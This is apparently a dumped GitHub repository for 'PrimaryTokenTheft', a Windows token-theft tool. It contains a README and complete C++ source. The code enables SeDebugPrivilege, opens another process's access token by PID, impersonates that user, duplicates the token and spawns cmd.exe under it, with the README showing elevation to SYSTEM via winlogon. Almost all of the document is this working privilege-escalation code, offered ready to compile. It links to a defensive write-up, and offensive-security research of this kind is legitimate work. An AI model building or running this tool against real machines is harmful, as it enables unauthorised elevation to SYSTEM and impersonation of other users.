[
  {
    "path": "README.md",
    "content": "# PrimaryTokenTheft\nMain code taken from [@kondecuotas](https://twitter.com/kondencuotas) [blog](https://ired.team/).\n\nSteal a primary token and spawn cmd.exe using the stolen token.\n\n- Added the ability to pass a PID by command-line argument.\n- Automatically enable SeDebugPrivilege.\n- Reduced privileges needed for OpenProcess(), OpenProcessToken() and DuplicateTokenEx() from TOKEN_ALL_ACCESS/PROCESS_ALL_ACCESS to the bare minimum needed for each API call.\n- Will also use ImpersonatedLoggedOnUser() to impersonate the logged-on user in the current thread.\n\n# Blogpost\n- https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b\n\n\n# Elevating to SYSTEM \n![GetSystem](https://raw.githubusercontent.com/justinbui/PrimaryTokenTheft/master/example.png)\n\n# Credit \nMain blog and source code: https://ired.team/offensive-security/privilege-escalation/t1134-access-token-manipulation\n\nElevating to system with Winlogon: https://twitter.com/monoxgas/status/1109892490566336512?s=20\n\nFigured out minimum privileges to call DuplicateTokenEx() with for CreateProcessWithTokenW to work here: https://stackoverflow.com/questions/5447418/why-is-createprocesswithtokenw-failing-with-error-access-denied (MSDN docs are wrong)\n\nMSDN Enabling Privileges: https://docs.microsoft.com/en-us/windows/win32/secauthz/enabling-and-disabling-privileges-in-c--\n"
  },
  {
    "path": "main.cpp",
    "content": "#include \"pch.h\"\n#include <windows.h>\n#include <iostream>\n#include <Lmcons.h>\n\nBOOL SetPrivilege(\n\tHANDLE hToken,          // access token handle\n\tLPCTSTR lpszPrivilege,  // name of privilege to enable/disable\n\tBOOL bEnablePrivilege   // to enable or disable privilege\n)\n{\n\tTOKEN_PRIVILEGES tp;\n\tLUID luid;\n\n\tif (!LookupPrivilegeValue(\n\t\tNULL,            // lookup privilege on local system\n\t\tlpszPrivilege,   // privilege to lookup \n\t\t&luid))        // receives LUID of privilege\n\t{\n\t\tprintf(\"[-] LookupPrivilegeValue error: %u\\n\", GetLastError());\n\t\treturn FALSE;\n\t}\n\n\ttp.PrivilegeCount = 1;\n\ttp.Privileges[0].Luid = luid;\n\tif (bEnablePrivilege)\n\t\ttp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\telse\n\t\ttp.Privileges[0].Attributes = 0;\n\n\t// Enable the privilege or disable all privileges.\n\n\tif (!AdjustTokenPrivileges(\n\t\thToken,\n\t\tFALSE,\n\t\t&tp,\n\t\tsizeof(TOKEN_PRIVILEGES),\n\t\t(PTOKEN_PRIVILEGES)NULL,\n\t\t(PDWORD)NULL))\n\t{\n\t\tprintf(\"[-] AdjustTokenPrivileges error: %u\\n\", GetLastError());\n\t\treturn FALSE;\n\t}\n\n\tif (GetLastError() == ERROR_NOT_ALL_ASSIGNED)\n\n\t{\n\t\tprintf(\"[-] The token does not have the specified privilege. \\n\");\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\nstd::string get_username()\n{\n\tTCHAR username[UNLEN + 1];\n\tDWORD username_len = UNLEN + 1;\n\tGetUserName(username, &username_len);\n\tstd::wstring username_w(username);\n\tstd::string username_s(username_w.begin(), username_w.end());\n\treturn username_s;\n}\n\nint main(int argc, char** argv) {\n\t// Print whoami to compare to thread later\n\tprintf(\"[+] Current user is: %s\\n\", (get_username()).c_str());\n\t\n\t// Grab PID from command line argument\n\tchar *pid_c = argv[1];\n\tDWORD PID_TO_IMPERSONATE = atoi(pid_c);\n\n\t// Initialize variables and structures\n\tHANDLE tokenHandle = NULL;\n\tHANDLE duplicateTokenHandle = NULL;\n\tSTARTUPINFO startupInfo;\n\tPROCESS_INFORMATION processInformation;\n\tZeroMemory(&startupInfo, sizeof(STARTUPINFO));\n\tZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));\n\tstartupInfo.cb = sizeof(STARTUPINFO);\n\n\t// Add SE debug privilege\n\tHANDLE currentTokenHandle = NULL;\n\tBOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);\n\tif (SetPrivilege(currentTokenHandle, L\"SeDebugPrivilege\", TRUE))\n\t{\n\t\tprintf(\"[+] SeDebugPrivilege enabled!\\n\");\n\t}\n\n\t// Call OpenProcess(), print return code and error code\n\tHANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);\n\tif (GetLastError() == NULL)\n\t\tprintf(\"[+] OpenProcess() success!\\n\");\n\telse\n\t{\n\t\tprintf(\"[-] OpenProcess() Return Code: %i\\n\", processHandle);\n\t\tprintf(\"[-] OpenProcess() Error: %i\\n\", GetLastError());\n\t}\n\t\n\t// Call OpenProcessToken(), print return code and error code\n\tBOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);\n\tif (GetLastError() == NULL)\n\t\tprintf(\"[+] OpenProcessToken() success!\\n\");\n\telse\n\t{\n\t\tprintf(\"[-] OpenProcessToken() Return Code: %i\\n\", getToken);\n\t\tprintf(\"[-] OpenProcessToken() Error: %i\\n\", GetLastError());\n\t}\n\n\t// Impersonate user in a thread\n\tBOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);\n\tif (GetLastError() == NULL)\n\t{\n\t\tprintf(\"[+] ImpersonatedLoggedOnUser() success!\\n\");\n\t\tprintf(\"[+] Current user is: %s\\n\", (get_username()).c_str());\n\t\tprintf(\"[+] Reverting thread to original user context\\n\");\n\t\tRevertToSelf();\n\t}\n\telse\n\t{\n\t\tprintf(\"[-] ImpersonatedLoggedOnUser() Return Code: %i\\n\", getToken);\n\t\tprintf(\"[-] ImpersonatedLoggedOnUser() Error: %i\\n\", GetLastError());\n\t}\t\n\n\t// Call DuplicateTokenEx(), print return code and error code\n\tBOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);\n\tif (GetLastError() == NULL)\n\t\tprintf(\"[+] DuplicateTokenEx() success!\\n\");\n\telse\n\t{\n\t\tprintf(\"[-] DuplicateTokenEx() Return Code: %i\\n\", duplicateToken);\n\t\tprintf(\"[-] DupicateTokenEx() Error: %i\\n\", GetLastError());\n\t}\n\n\t// Call CreateProcessWithTokenW(), print return code and error code\n\tBOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L\"C:\\\\Windows\\\\System32\\\\cmd.exe\", NULL, 0, NULL, NULL, &startupInfo, &processInformation);\n\tif (GetLastError() == NULL)\n\t\tprintf(\"[+] Process spawned!\\n\");\n\telse\n\t{\n\t\tprintf(\"[-] CreateProcessWithTokenW Return Code: %i\\n\", createProcess);\n\t\tprintf(\"[-] CreateProcessWithTokenW Error: %i\\n\", GetLastError());\n\t}\n\n\treturn 0;\n}\n"
  }
]